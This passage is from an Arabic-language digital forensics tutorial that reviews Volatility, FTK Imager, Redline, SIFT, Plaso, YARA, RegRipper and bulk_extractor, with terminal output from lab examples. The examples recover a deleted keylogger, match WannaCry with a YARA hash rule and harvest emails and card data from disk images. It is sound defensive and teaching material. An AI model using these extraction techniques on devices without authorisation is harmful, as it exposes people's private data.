0x4e5d003d:     add     byte ptr [eax], al

632     winlogon.exe    0x23df0000      0x23df3fff      VadS    PAGE_EXECUTE_READWRIT
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
...
0x23df003a:     add     byte ptr [eax], al
0x23df003c:     add     byte ptr [eax], al
0x23df003e:     add     byte ptr [eax], al
```

```
632     winlogon.exe    0x2b300000      0x2b303fff      VadS    PAGE_EXECUTE_READWRIT
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
...
0x2b300039:     add     byte ptr [eax], al
0x2b30003b:     add     byte ptr [eax], al
0x2b30003d:     add     byte ptr [eax], al

632     winlogon.exe    0x4bd80000      0x4bd83fff      VadS    PAGE_EXECUTE_READWRIT
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
...
0x4bd8003c:     add     byte ptr [eax], al
0x4bd8003e:     add     byte ptr [eax], al

632     winlogon.exe    0x51490000      0x51493fff      VadS    PAGE_EXECUTE_READWRIT
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
...
0x5149003c:     add     byte ptr [eax], al
0x5149003e:     add     byte ptr [eax], al

632     winlogon.exe    0x66450000      0x66453fff      VadS    PAGE_EXECUTE_READWRIT
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
...
0x6645003b:     add     byte ptr [eax], al
0x6645003d:     add     byte ptr [eax], al

632     winlogon.exe    0x71b00000      0x71b03fff      VadS    PAGE_EXECUTE_READWRIT
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
...
0x71b0003b:     add     byte ptr [eax], al
0x71b0003d:     add     byte ptr [eax], al
```

```
632      winlogon.exe    0x72620000      0x72623fff      VadS    PAGE_EXECUTE_READWRIT
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
...
0x7262003b:     add     byte ptr [eax], al
0x7262003d:     add     byte ptr [eax], al

632      winlogon.exe    0x7f6f0000      0x7f7effff      Vad     PAGE_EXECUTE_READ
c8 00 00 00 ba 01 00 00 ff ee ff ee 08 70 00 00 .............p..
08 00 00 00 00 fe 00 00 00 00 10 00 00 20 00 00 ............. ..
00 02 00 00 00 20 00 00 8d 01 00 00 ff ef fd 7f ..... ..........
03 00 08 06 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x7f6f0000:     enter   0, 0
0x7f6f0004:     mov     edx, 0xff000001
0x7f6f0009:     out     dx, al
```

تحميل: https://www.volatilityfoundation.org

٣.٨ FTK Imager

نصل الآن إلى الأداة التي تُعتبر الخطوة الأولى والأهم في أي عملية تحقيق جنائي رقمي، وهي FTK Imager. هذه الأداة المجانية من شركة Exterro تُعد الأساس في التحقيقات الجنائية الرقمية، لأنها تحل المشكلة الأكبر في هذا المجال وهي سلامة الدليل. في التحقيقات، لا يمكن نسخ الملفات بالطريقة التقليدية (قص ولصق) لأن ذلك يغير تواريخ الملفات ويفسد الدليل أمام المحكمة.

الميزة البارزة في FTK Imager هي قدرتها على أخذ نسخة طبق الأصل أو Bit-by-Bit للقرص الصلب بالكامل، بما في ذلك المساحات الفارغة والملفات المحذوفة. والأهم من ذلك، أنها تضمن عدم تعديل أي بت أثناء التصفح، كما تقوم بحساب البصمة الرقمية أو Hash لضمان أن الدليل المقدم للمحكمة هو نفسه الذي تم استخراجه من مسرح الجريمة. باختصار، هي أداة مجانية تغنيك عن أدوات باهظة الثمن لجمع الأدلة بطريقة قانونية وسليمة بنسبة 100٪.

الخاصية	القيمة
مستوى المهارة المطلوب	مبتدئ
أنظمة التشغيل	Windows, macOS
التكلفة	مجاني
نوع الترخيص	احتكاري (مجاني)

مميزات أداة FTK Imager

تحميل: https://www.exterro.com/ftk-imager

٤.٨ Redline

عندما نتحدث عن التحقيق في الأجهزة المصابة وتحليل الذاكرة بشكل عميق وسهل، تبرز أداة Redline من شركة Mandiant العريقة. هذه الأداة المجانية تُعتبر كنزاً لأي محلل استجابة للحوادث، لأنها صُممت لتقوم بمهمة معقدة جداً وهي جمع وتحليل آلاف المعلومات من جهاز الضحية وترتيبها بشكل منطقي وسهل القراءة.

الميزة البارزة في Redline هي قدرتها على تقييم المخاطر تلقائياً عبر ما يسمى MRI أو مؤشر خطر البرمجيات الخبيثة. بدلاً من إضاعة الوقت وسط آلاف العمليات، تُظهر الأداة بوضوح العمليات المشبوهة باستخدام ألوان مميزة مثل الأحمر للدلالة على السلوك المشبوه. بالإضافة إلى ذلك، تتميز الأداة بقدرتها العملية على إنشاء جامع بيانات أو Collector محمول، يمكن وضعه على فلاش ميموري لجمع الأدلة من أي جهاز مشبوه دون الحاجة لتثبيت البرنامج عليه. هذا يجعلها أداة مثالية لفرق الصيد عن التهديدات Threat Hunting لكشف ما قد يفوت برامج الحماية التقليدية.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط
أنظمة التشغيل	Windows
التكلفة	مجاني
نوع الترخيص	احتكاري (مجاني)

مميزات أداة Redline

تحميل: https://fireeye.market/apps/211364

٥.٨ SIFT Workstation

المنصة التي تُعتبر العمود الفقري لتدريب وعمل المحققين الجنائيين حول العالم، وهي محطة عمل SIFT Workstation. هذه المنصة ليست مجرد أداة أو برنامج، بل هي نظام تشغيل كامل (Distro) مبني على Ubuntu، وتم تطويره ورعايته من قبل معهد SANS العريق ليكون المرجع الأول لأي شخص يعمل في مجال التحقيق الجنائي الرقمي والاستجابة للحوادث.

الميزة البارزة في SIFT هي أنها تأتي جاهزة ومحملة مسبقاً بأكثر من 200 أداة متخصصة، تم تكوينها واختبارها لتعمل مع بعضها البعض بتناغم تام. بدلاً من إضاعة الوقت في تثبيت الأدوات وحل مشاكل التوافق، يمكنك تشغيل النظام والبدء فوراً في تحليل الذاكرة، الشبكات، أنظمة الملفات، وحتى السحابة. وبما أنها مجانية بالكامل ومدعومة بمجتمع ضخم، فهي البيئة المثالية لأي شخص يريد أن يبدأ بداية احترافية وصحيحة في هذا المجال المعقد.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط
أنظمة التشغيل	Linux (Ubuntu-based)
التكلفة	مجاني
نوع الترخيص	مفتوح المصدر (مختلط)

مميزات أداة SIFT Workstation

مثال عملي: دورة التحقيق الجنائي الكاملة: الاستحواذ والتحليل (Acquisition & Analysis):

شرح المثال:

١. **الفحص الأولي :(mmls)** قبل البدء، قمنا بفحص القرص الخام (dd.) للتأكد من جدول الأقسام.

٢. **الاستحواذ :(Acquisition)** استخدمنا ewfacquire لتحويل القرص إلى صيغة E01.. لاحظ كيف تطلب الأداة إدخال بيانات القضية (رقم القضية، اسم الفاحص) لضمان سلسلة العهدة (Chain of Custody).

٣. **التحقق :(Verification)** بعد الإنشاء، قامت الأداة بحساب تجزئة MD5 للصورة للتأكد من تطابقها مع الأصل.

٤. **استعراض الملفات File) :(Listing)** أخيراً، استخدمنا fls مع الإزاحة الصحيحة (القطاع 1) لعرض الملفات، بما في ذلك ملفات النظام المخفية ($MBR, $FAT).

المخرجات:

```
yaser@CyberBookio:~$ mmls mbr_evidence.dd
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

      Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000000000   0000000001   Unallocated
002:  000:000   0000000001   0000000187   0000000187   Win95 FAT32 (0x0b)

yaser@CyberBookio:~$ sudo ewfacquire mbr_evidence.dd
ewfacquire 20140816

Storage media information:
Type:                           RAW image
Media size:                     96 KB (96256 bytes)
Bytes per sector:               512

Acquiry parameters required, please provide the necessary input
Image path and filename without extension: evidence_processed
Case number: Lab-7
Description: MBR Evidence Recovery
Evidence number: 001
Examiner name: Yaser Alosefer
Notes: Converted from raw DD to E01 for CyberBook.io
Media type (fixed, removable, optical, memory) [fixed]: fixed
Media characteristics (logical, physical) [physical]: physical
Use EWF file format (ewf, smart, ftk, encase1, encase2, encase3, encase4, encase5, en
Compression method (deflate) [deflate]: deflate
Compression level (none, empty-block, fast, best) [none]: fast
Start to acquire at offset (0 <= value <= 96256) [0]:
The number of bytes to acquire (0 <= value <= 96256) [96256]:
```

```
Evidence segment file size in bytes (1.0 MiB <= value <= 7.9 EiB) [1.4 GiB]:
The number of bytes per sector (1 <= value <= 4294967295) [512]:
The number of sectors to read at once (16, 32, 64, 128, 256, 512, 1024, 2048, 4096, 8
The number of sectors to be used as error granularity (1 <= value <= 64) [64]:
The number of retries when a read error occurs (0 <= value <= 255) [2]:
Wipe sectors on read error (mimic EnCase like behavior) (yes, no) [no]:

The following acquiry parameters were provided:
Image path and filename:        evidence_processed.E01
Case number:                    Lab-7
Description:                    MBR Evidence Recovery
Evidence number:                001
Examiner name:                  Yaser Alosefer
Notes:                          Converted from raw DD to E01 for CyberBook.io
Media type:                     fixed disk
Is physical:                    yes
EWF file format:                EnCase 6 (.E01)
Compression method:             deflate
Compression level:              fast
Acquiry start offset:           0
Number of bytes to acquire:     94 KiB (96256 bytes)
Evidence segment file size:     1.4 GiB (1572864000 bytes)
Bytes per sector:               512
Block size:                     64 sectors
Error granularity:              64 sectors
Retries on read error:          2
Zero sectors on read error:     no

Continue acquiry with these values (yes, no) [yes]: yes

Acquiry started at: Nov 26, 2025 13:58:34
This could take a while.
```

```
Acquiry completed at: Nov 26, 2025 13:58:34

Written: 95 KiB (97572 bytes) in 0 second(s).
MD5 hash calculated over data:          a24a84445f5b0fa494c22b87e5a2f0dd
ewfacquire: SUCCESS

yaser@CyberBookio:~$ mmls -i ewf evidence_processed.E01
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

      Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000000000   0000000001   Unallocated
002:  000:000   0000000001   0000000187   0000000187   Win95 FAT32 (0x0b)

yaser@CyberBookio:~$ fls -i ewf -f fat -o 1 evidence_processed.E01
r/r 3:  FAT-MBR     (Volume Label Entry)
d/d 5:  .fseventsd
r/r 6:  README.txt
r/r 8:  ._README.txt
v/v 2947:       $MBR
v/v 2948:       $FAT1
v/v 2949:       $FAT2
V/V 2950:       $OrphanFiles
```

تحميل: https://www.sans.org/tools/sift-workstation/

٦.٨ Plaso/Log2Timeline

إطار عمل متطور ومفتوح المصدر متخصص في إنشاء جداول زمنية فائقة (Super Timelines) من مصادر بيانات متعددة ومتنوعة للتحليل الجنائي الرقمي. كان يُعرف سابقاً باسم Log2Timeline، وتمت إعادة كتابته بالكامل بلغة

Python تحت اسم Plaso. يستخرج الإطار الطوابع الزمنية من أكثر من 200 نوع ملف مختلف، بما في ذلك سجلات النظام، ملفات المتصفحات، قواعد البيانات، البيانات الوصفية للملفات، سجلات التطبيقات، سجلات الأحداث (Event Logs)، مفاتيح التسجيل، وغيرها الكثير. يوفر رؤية شاملة ومتسلسلة زمنياً لجميع الأنشطة التي حدثت على النظام، مما يساعد المحققين في فهم تسلسل الأحداث وإعادة بناء السيناريو الكامل للحادثة الأمنية. يُستخدم على نطاق واسع من قبل فرق DFIR (Digital Forensics and Incident Response)، ويُعتبر معياراً في التحليل الزمني الجنائي.

الخاصية	القيمة
مستوى المهارة المطلوب	متقدم
أنظمة التشغيل	Linux, Windows, macOS
التكلفة	مجاني
نوع الترخيص	Apache 2.0

مميزات أداة Plaso/Log2Timeline

مثال عملي: استرداد ملفات مشبوهة من صورة قرص (E01) وتحليلها يدوياً:

```
mmls terry-work-usb-2009-12-11.E01
```

```
fls -r -o 63 terry-work-usb-2009-12-11.E01 | grep ".exe"
```

```
icat -o 63 terry-work-usb-2009-12-11.E01 75 > suspicious_vnc.exe
```

```
file suspicious_vnc.exe
```

شرح المثال:

١. **تحديد الأقسام :(mmls)** بدأنا بتحديد مكان قسم البيانات (FAT32) الذي يبدأ عند القطاع 63.

٢. **البحث عن الأدلة :(fls)** استخدمنا fls مع الإزاحة 63 واستخدمنا grep لتصفية النتائج والبحث عن الملفات التنفيذية (.exe). النتيجة كشفت عن برنامج تجسس (Keylogger) محذوف وبرنامج VNC.

٣. **الاستخراج :(icat)** قمنا باستخراج ملف vnc-3_1_4.exe (رقم الـ Inode 75) وحفظه باسم suspicious_vnc.exe للتحليل.

٤. **التحقق :(file)** تأكدنا من نوع الملف المستخرج وأنه ملف تنفيذي صالح لنظام ويندوز (PE32 Executable).

المخرجات:

```
yaser@CyberBookio:~$ wget https://digitalcorpora.s3.amazonaws.com/corpora/scenarios/2
--2025-11-26 23:13:12--  https://digitalcorpora.s3.amazonaws.com/corpora/...
Resolving digitalcorpora.s3.amazonaws.com... connected.
HTTP request sent, awaiting response... 200 OK
Length: 33499203 (32M) [binary/octet-stream]
Saving to: ‘terry-work-usb-2009-12-11.E01.2’

terry-work-usb-2009-12-11.E01.2        100%[=================>]  31.95M  9.24MB/s

yaser@CyberBookio:~$ mmls terry-work-usb-2009-12-11.E01
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

      Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000000062   0000000063   Unallocated
002:  000:000   0000000063   0004095944   0004095882   Win95 FAT32 (0x0b)
003:  -------   0004095945   0004095999   0000000055   Unallocated

yaser@CyberBookio:~$ fls -r -o 63 terry-work-usb-2009-12-11.E01 | grep ".exe"
r/r * 70:       xpadvancedkeylogger.exe
r/r 75: vnc-4_1_3-x86_win32.exe

yaser@CyberBookio:~$ icat -o 63 terry-work-usb-2009-12-11.E01 75 > suspicious_vnc.exe

yaser@CyberBookio:~$ file suspicious_vnc.exe
suspicious_vnc.exe: PE32 executable for MS Windows 4.00 (GUI), Intel i386, 8 sections
```

تحميل: https://github.com/log2timeline/plaso

٧.٨ YARA

نصل الآن إلى الأداة التي تُلقب بسكين الجيش السويسري للباحثين عن البرمجيات الخبيثة، وهي YARA. تُعتبر هذه الأداة اللغة المشتركة والمعيار العالمي بين جميع محللي البرمجيات الخبيثة. فكرتها ببساطة أنك بدلاً من البحث عن الفيروس باسمه أو بالهاش الخاص به (والذي يمكن تغييره بسهولة)، يمكنك البحث عن وصفه أو خصائصه الداخلية.

الميزة البارزة في YARA هي قدرتها على كتابة قواعد (Rules) مرنة ودقيقة للغاية. يمكنك مثلاً أن تطلب من الأداة ابحثي عن أي ملف يحتوي على هذا النص المشفر، ويكون حجمه كذا، ويحتوي على هذا النمط من الكود (Hex Pattern). بمجرد كتابة القاعدة، يمكنك تطبيقها على ملايين الملفات بسرعة خيالية وتصنيفها إلى عائلات برمجيات خبيثة بدقة. ولهذا السبب، تُعد YARA المحرك الأساسي خلف الكواليس لمنصات عالمية مثل VirusTotal وأنظمة الحماية المتقدمة (EDR). كما أنها تُعتبر مهارة لا غنى عنها لأي صائد تهديدات (Threat Hunter) محترف.

الخاصية	القيمة
مستوى المهارة المطلوب	متقدم
أنظمة التشغيل	Linux, Windows, macOS
التكلفة	مجاني
نوع الترخيص	BSD 3-Clause

مميزات أداة YARA

مثال عملي: كشف برمجية (WannaCry) باستخدام بصمة التجزئة (Hash):

```
yara -s -m wannacry_hash.yar WannaCry.exe
```

شرح المثال: تعتمد هذه القاعدة على مطابقة البصمة الرقمية الفريدة للملف.

- **استدعاء المكتبة:** يبدأ الملف بـ import "hash" لتمكين دوال حساب التجزئة.
- **آلية الكشف:** في قسم الشرط condition، تقوم الدالة hash.sha256 بحساب قيمة التجزئة للملف الحالي ومقارنتها مباشرة مع القيمة المعروفة لبرمجية WannaCry.
- **النتيجة:** تطابق القيمتين (كما يظهر في المخرجات) يؤكد بشكل قاطع أن الملف هو الفيروس المستهدف.

المخرجات:

```
  (yaser CyberBookio)-[~/WannaCry]
 $ cat wannacry_hash.yar
import "hash"

rule WannaCry_Packed_Dropper {
    meta:
        description = "Detects WannaCry (Packed) via SHA256"
        author = "CyberBook.io Lab"
        severity = "critical"
        hash_value = "ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41a
    condition:
        uint16(0) == 0x5A4D and
        hash.sha256(0, filesize) == "ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6
}

  (yaser CyberBookio)-[~/WannaCry]
 $ yara -s -m wannacry_hash.yar WannaCry.exe
WannaCry_Packed_Dropper [description="Detects WannaCry (Packed) via SHA256",author="C

  (yaser CyberBookio)-[~/WannaCry]
 $
```

تحميل: https://virustotal.github.io/yara/

٨.٨ RegRipper

نستعرض الآن إلى الأداة المتخصصة جداً والتي تُعتبر المفك السحري لأي محقق جنائي يتعامل مع أنظمة Windows، وهي RegRipper. يُعد سجل النظام أو Registry بمثابة الصندوق الأسود الذي يسجل كل حركة وسكنة في الجهاز، لكن تحليله يدوياً يُعتبر كابوساً حقيقياً. هنا تأتي وظيفة هذه الأداة (من تطوير الخبير Harlan Carvey) لتقوم بهذه المهمة الصعبة بسرعة فائقة.

الميزة البارزة في RegRipper هي اعتمادها على نظام الإضافات (Plugins) الذكية. الأداة لا تعرض البيانات الخام فقط، بل تفهمها وتستخرج الأدلة الجاهزة فوراً، مثل قائمة الفلاشات (USB) التي تم توصيلها بالجهاز وتواريخها، والبرامج التي تم تشغيلها سابقاً (عن طريق تحليل UserAssist و ShimCache)، وحتى كلمات المرور المخزنة.

ببساطة، تأخذ الأداة ملفات السجل الجامدة وتحولها إلى تقرير نصي يحكي قصة ما حدث في الجهاز بدقة، دون الحاجة لتشغيل النظام المشبوه.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط
أنظمة التشغيل	Windows, Linux (via Perl)
التكلفة	مجاني
نوع الترخيص	GNU GPL

مميزات أداة RegRipper

مثال عملي: تحليل سجلات المستخدم (NTUSER.DAT) واستخراج أدلة التنفيذ والتصفح:

```
rip.pl -r NTUSER.DAT -f ntuser > forensic_analysis.txt
```

الخطوة 1: إنشاء التقرير الكامل نبدأ بتشغيل RegRipper لاستخراج كافة البيانات الممكنة من ملف NTUSER.DAT وحفظها في ملف نصي للتحليل. لاحظ ظهور بعض الأخطاء أثناء تحميل الإضافات (Plugins)، وهو أمر طبيعي ومتوقع في التحقيقات الحقيقية.

```
rip.pl -r NTUSER.DAT -f ntuser > forensic_analysis.txt
```

الخطوة 2: استخراج الأدلة باستخدام (Grep) بسبب حجم التقرير الضخم، نستخدم grep للبحث عن مفاتيح محددة:

- **UserAssist:** يظهر البرامج التي شغّلها المستخدم، وهنا نرى أدلة قوية مثل ملفات كسر حماية كلمات المرور (crark50-ocl.rar) على سطح المكتب.
- **TypedURLs:** تكشف المواقع التي كتبها المستخدم يدوياً، مثل مواقع شراء برامج الحماية (store.kaspersky.com).
- **Run Keys:** نتحقق من البرامج التي تعمل عند بدء التشغيل، والمفاجأة هي العثور على أدلة تشغيل أدوات اختراق مثل mimikatz_trunk.7z في مخرجات runvirtual.

المخرجات:

```
  (yaser CyberBookio)-[~]
 $ rip.pl -r NTUSER.DAT -f ntuser > forensic_analysis.txt
Parsed Plugins file.
Error in adoberdr: Can't locate /usr/lib/regripper/plugins/adoberdr.pl at /usr/local/

adoberdr complete.
Launching allowedenum v.20200511
allowedenum complete.
Launching appassoc v.20200515
appassoc complete.
Launching appcompatflags v.20200525
appcompatflags complete.
Launching appkeys v.20200517
appkeys complete.
...
Error in link_click: Can't locate /usr/lib/regripper/plugins/link_click.pl at /usr/lo

link_click complete.
...
Launching userassist v.20170204
Error in userassist: Can't call method "get_list_of_values" on an undefined value at

userassist complete.
...

  (yaser CyberBookio)-[~]
 $ grep -A 20 "UserAssist" forensic_analysis.txt
UserAssist
Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist
LastWrite Time 2014-05-20 14:31:27Z

UNKBE9
```

```
----------------------------------------
wc_shares v.20200515
- Gets contents of user's WorkgroupCrawler/Shares subkeys

Software\Microsoft\Windows\CurrentVersion\Explorer\WorkgroupCrawler\Shares not found.
----------------------------------------
winrar v.20200526
(NTUSER.DAT) Get WinRAR\ArcHistory entries

WinRAR
Software\WinRAR\ArcHistory
LastWrite Time 2014-09-12 22:46:59Z

0 -> C:\Users\eric\Desktop\crark34-linux-opencl.rar
1 -> C:\Users\eric\Desktop\crark50-ocl.rar
----------------------------------------
winscp v.20201227

  (yaser CyberBookio)-[~]
 $ grep -A 10 "TypedURLs" forensic_analysis.txt
(NTUSER.DAT) Returns contents of user's TypedURLs key.

TypedURLs
Software\Microsoft\Internet Explorer\TypedURLs
LastWrite Time 2014-11-18 18:10:06Z
  url1 -> https://store.kaspersky.com/
  url2 -> https://store.kaspersky.com/store/
  url3 -> https://store.kaspersky.com/store?Action=DisplaySelfServiceSubscriptionLand
  url4 -> http://direct.mikestammer.com/websvn/
  url5 -> https://mikestammer.com/websvn/
  url6 -> https://direct.mikestammer.com/websvn/
  url7 -> https://products.geotrust.com/orders/orderinformation/information.do?pin=Is
```

```
  url8 -> http://rapidssl.com/
  url9 -> http://rapidssl.org/
--
(NTUSER.DAT) Returns contents of user's TypedURLsTime key.

TypedURLsTime
Software\Microsoft\Internet Explorer\TypedURLsTime
LastWrite Time 2014-11-18 18:10:06Z
  url1 -> 2014-11-18 18:10:06Z (https://store.kaspersky.com/)
  url2 -> 2014-11-18 18:10:03Z (https://store.kaspersky.com/store/)
  url3 -> 2014-11-18 18:05:04Z (https://store.kaspersky.com/store?Action=DisplaySelfS
  url4 -> 2014-11-05 21:17:00Z (http://direct.mikestammer.com/websvn/)
  url5 -> 2014-10-23 20:03:07Z (https://mikestammer.com/websvn/)
  url6 -> 2014-10-23 19:59:38Z (https://direct.mikestammer.com/websvn/)
  url7 -> 2014-10-23 14:33:46Z (https://products.geotrust.com/orders/orderinformation
  url8 -> 2014-10-23 14:33:10Z (http://rapidssl.com/)
  url9 -> 2014-10-23 14:33:03Z (http://rapidssl.org/)

  (yaser CyberBookio)-[~]
 $ grep -i "Run" forensic_analysis.txt
C:\xwf\xwforensics.exe -> RUNASADMIN
  2013-08-21 23:53:01Z - C:\Users\eric\Desktop\NCrunch_VS2013_2.7.0.5.msi
  2013-08-22 06:57:05Z - C:\ProjectWorkingFolder\osTriage2\trunk\osTriage2\CopyDLLs.b
  2013-08-22 06:57:05Z - C:\Users\eric\AppData\Local\Temp\DPrunOnce_76112764.cmd
  2013-08-22 06:57:05Z - C:\ProjectWorkingFolder\XWFManager\XWFManager\trunk\XWFManag
  2013-08-21 23:53:01Z - D:\temp\osTriage2RunToExtract.exe
  2013-08-21 23:53:01Z - D:\Dropbox (Personal)\temp\osTriage2RunToExtract.exe
(NTUSER.DAT) Autostart - get Command Processor\AutoRun value from NTUSER.DAT hive
AutoRun value not found.
  Kjs.AppLife.Update.MakeUpdate.UI.exe - My Computer\C:\ProjectWorkingFolder\XWFManag
  My Computer\C:\ProjectWorkingFolder\XWFManager\XWFManager\trunk\XWFManager\XWFManag
  My Computer\C:\ProjectWorkingFolder\osTriage2\trunk\osTriage2\osTriage2.aup
```

```
  My Computer\C:\ProjectWorkingFolder\Hasher\trunk\Hasher\Hasher.aup
  My Computer\C:\ProjectWorkingFolder\GOON\trunk\GOON\GOONManual.docx
  My Computer\C:\ProjectWorkingFolder\XWFManager\XWFManager\trunk\XWFRT\bin\Release\X
  My Computer\C:\ProjectWorkingFolder\XWFManager\XWFManager\trunk\XWFManager\bin\Rele
  My Computer\C:\ProjectWorkingFolder\Hasher\trunk\Hasher2\ExternalHardDrive256.ico
...
2014-08-27 19:49:40Z,\Device\HarddiskVolume4\ProjectWorkingFolder\osTriage2\trunk\osT
2014-07-02 21:09:33Z,\Device\HarddiskVolume4\ProjectWorkingFolder\XWFManager\XWFManag
...
run v.20200511
Software\Microsoft\Windows\CurrentVersion\Run
  Skype - "C:\Program Files (x86)\Skype\Phone\Skype.exe" /minimized /regrun
Software\Microsoft\Windows\CurrentVersion\Run has no subkeys.
Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run not found.
Software\Microsoft\Windows\CurrentVersion\RunOnce
Software\Microsoft\Windows\CurrentVersion\RunOnce has no values.
...
runmru v.20200525
(NTUSER.DAT) Gets contents of user's RunMRU key
RunMru
Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU has no values.
runvirtual v.20200427
(NTUSER.DAT, Software) Gets RunVirtual entries
  osTriage2RunToExtract.exe
  C:\Users\eric\Desktop\mimikatz_trunk.7z\
  C:\Users\eric\Desktop\Autoruns.zip\
  D:\Dropbox (Personal)\temp\osTriage2RunToExtract.exe\osTriage2\
  D:\Dropbox (Personal)\temp\osTriage2RunToExtract.exe\
AutoRuns [2014-10-17 14:50:22Z]
url10    C:\ProjectWorkingFolder\Hasher\trunk\Hasher\bin
url11    C:\ProjectWorkingFolder\Hasher\trunk
```

تحميل: https://github.com/keydet89/RegRipper3.0

٩.٨ bulk_extractor

`bulk_extractor` هي الأداة التي تُعتبر المنقذ الحقيقي في الحالات المستعصية. تختلف هذه الأداة تماماً عن أدوات التحقيق التقليدية التي تعتمد على فهم وقراءة نظام الملفات، وفكرتها العبقرية (التي طورها Simson Garfinkel) أنها تتجاهل نظام الملفات بالكامل وتذهب مباشرة لمسح البيانات الخام (Raw Data) على القرص.

الميزة البارزة في bulk_extractor هي قدرتها على استخراج المعلومات حتى لو كان القرص تالفاً أو الملفات محذوفة ولا يمكن الوصول إليها بالطرق العادية. تخيل أنك تعطيها صورة لقرص صلب، وبسرعة فائقة (بفضل دعمها لتعدد النواة) تستخرج قائمة جاهزة بكل عناوين البريد الإلكتروني، أرقام بطاقات الائتمان، روابط URL، وحتى البيانات الوصفية للصور EXIF. هذه القدرة على الحصاد السريع للمعلومات الحساسة تجعلها الأداة الأولى في قضايا الجرائم الإلكترونية والتحقيقات المالية لاستخراج الأدلة الدامغة من الفوضى الرقمية.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط
أنظمة التشغيل	Linux, Windows, macOS
التكلفة	مجاني
نوع الترخيص	MIT

مميزات أداة bulk_extractor

مثال عملي: استخراج البيانات الخام (Data Carving) من قرص مشبوه باستخدام `bulk_extractor`:

```
bulk_extractor -o bulk_terry terry-work-usb-2009-12-11.E01
```

الخطوة 1: تنفيذ الاستخراج تقوم الأداة بمسح القرص بالكامل متجاهلة نظام الملفات، مما يسمح لها بالعثور على البيانات المحذوفة أو المخفية. السجل الكامل أدناه يوضح كيفية عمل الأداة باستخدام تعدد المهام (Multi-threaded) لسرعة الإنجاز.

```
bulk_extractor -o bulk_terry terry-work-usb-2009-12-11.E01
```

الخطوة 2: فحص النتائج بعد انتهاء الفحص، نقوم بالدخول لمجلد الإخراج bulk_terry واستعراض الملفات الناتجة:

- **email.txt:** يحتوي على عناوين البريد الإلكتروني المستخرجة مع السياق المحيط بها.
- **url.txt:** قائمة بجميع الروابط التي تمت زيارتها أو تخزينها في الملفات.

المخرجات:

```
yaser@CyberBookio:~$ bulk_extractor -o bulk_terry terry-work-usb-2009-12-11.E01
mkdir "bulk_terry"
opening terry-work-usb-2009-12-11.E01

bulk_extractor version: 2.1.1
Input file: "terry-work-usb-2009-12-11.E01"
Output directory: "bulk_terry"
Disk Size: 2097152000
Scanners: aes base64 elf evtx exif facebook find gzip httplogs json kml_carved msxml
Threads: 2
going multi-threaded...( 2 )
bulk_extractor       Thu Nov 27 13:42:26 2025

available_memory: 7306104832
bytes_queued: 0
depth0_bytes_queued: 0
depth0_sbufs_queued: 0
elapsed_time:  0:00:00
estimated_date_completion: 2025-11-27 13:42:25
estimated_time_remaining: n/a
fraction_read: 0.000000 %
max_offset: 0
sbufs_created: 0
sbufs_queued: 0
sbufs_remaining: 0
tasks_queued: 0
thread_count: 2
>.....................................................................
```

```
bulk_extractor       Thu Nov 27 13:42:27 2025

available_memory: 7244001280
bytes_queued: 384824440
depth0_bytes_queued: 167772160
depth0_sbufs_queued: 8
elapsed_time:  0:00:01
estimated_date_completion: 2025-11-27 13:43:28
estimated_time_remaining:  0:01:01
fraction_read: 1.600000 %
max_offset: 16777216
sbufs_created: 241117
sbufs_queued: 1358
sbufs_remaining: 48
tasks_queued: 1356
thread-1: 0: email (20971520 bytes)
thread-2: 16777216: winpe (20971520 bytes)
thread_count: 2
===>.....................................................................................

bulk_extractor       Thu Nov 27 13:42:28 2025

available_memory: 7230754816
bytes_queued: 1111991560
depth0_bytes_queued: 1111490560
depth0_sbufs_queued: 53
elapsed_time:  0:00:02
estimated_date_completion: 2025-11-27 13:43:49
estimated_time_remaining:  0:01:21
```

```
fraction_read: 2.400000 %
max_offset: 33554432
sbufs_created: 296988
sbufs_queued: 83
sbufs_remaining: 4
tasks_queued: 81
thread-1: 0: email (20971520 bytes)
thread-2: 33554432: httplogs (20971520 bytes)
thread_count: 2
=====>.....................................................................


bulk_extractor       Thu Nov 27 13:42:29 2025

available_memory: 7207739392
bytes_queued: 20971520
depth0_bytes_queued: 20971520
depth0_sbufs_queued: 1
elapsed_time:  0:00:03
estimated_date_completion: 2025-11-27 13:44:31
estimated_time_remaining:  0:02:02
fraction_read: 2.400000 %
max_offset: 50331648
sbufs_created: 540977
sbufs_queued: 1
sbufs_remaining: 2
tasks_queued: 0
thread-2: 50331648: email (20971520 bytes)
thread_count: 2
=====>.....................................................................
```

```
bulk_extractor       Thu Nov 27 13:42:30 2025

available_memory: 7203831808
bytes_queued: 20971520
depth0_bytes_queued: 20971520
depth0_sbufs_queued: 1
elapsed_time:  0:00:04
estimated_date_completion: 2025-11-27 13:42:41
estimated_time_remaining:  0:00:11
fraction_read: 25.600000 %
max_offset: 536870912
sbufs_created: 655393
sbufs_queued: 1
sbufs_remaining: 2
tasks_queued: 0
thread-2: 536870912 process_sbuf (20971520)
thread_count: 2
=====================================================>.............................

bulk_extractor       Thu Nov 27 13:42:31 2025

available_memory: 7200407552
bytes_queued: 20971520
depth0_bytes_queued: 20971520
depth0_sbufs_queued: 1
elapsed_time:  0:00:05
